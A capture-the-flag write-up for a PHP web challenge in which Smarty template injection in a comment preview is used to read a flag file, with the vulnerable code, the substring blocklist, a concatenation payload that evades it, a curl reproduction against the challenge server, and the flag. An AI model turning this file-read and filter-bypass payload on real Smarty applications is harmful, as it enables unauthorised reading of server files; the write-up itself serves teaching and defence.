1337 Local CTF: Notebook — Smarty SSTI → WAF Bypass → File Read
Notebook
Challenge Context
Notebook was a PHP web challenge using Smarty templates. A comment preview feature rendered user-controlled text through Smarty’s template engine.
Reconnaissance
The vulnerable pattern was:
$tpl_string = "<h3>Comment Preview:</h3><p>{$text}</p>";$preview = $smarty->fetch('string:' . $tpl_string);User input became part of a string: template, so Smarty syntax inside the input was evaluated server-side.
Vulnerability / Core Idea
This is Server-Side Template Injection (SSTI). Smarty’s {fetch} primitive can read files. The application tried to block dangerous strings with a WAF:
'flag', '/etc', '$smarty', 'base64', 'include', 'require', ...The WAF matched substrings before Smarty evaluated the expression.
Exploitation
A direct payload was blocked:
{fetch file="/flag.txt"}The bypass was to concatenate the filename inside the template so the literal blocked word flag never appears in the HTTP request:
{fetch file="/fla"|cat:"g.txt"}Reproduction:
curl --noproxy '*' -sk -G 'http://104.199.105.242:4242/' \ --data-urlencode 'action=preview' \ --data-urlencode 'text={fetch file="/fla"|cat:"g.txt"}'Flag
leet{sm4r7y_7pl_1nj3c710n_n0_w4f_c4n_s70p_m3}Lesson Learned
Blocklists fail against template languages because the language itself provides composition. Filter the capability, not the spelling.
Cover: Wallhaven yqmlmx.
Share Article
If this article helped you, please share it with others!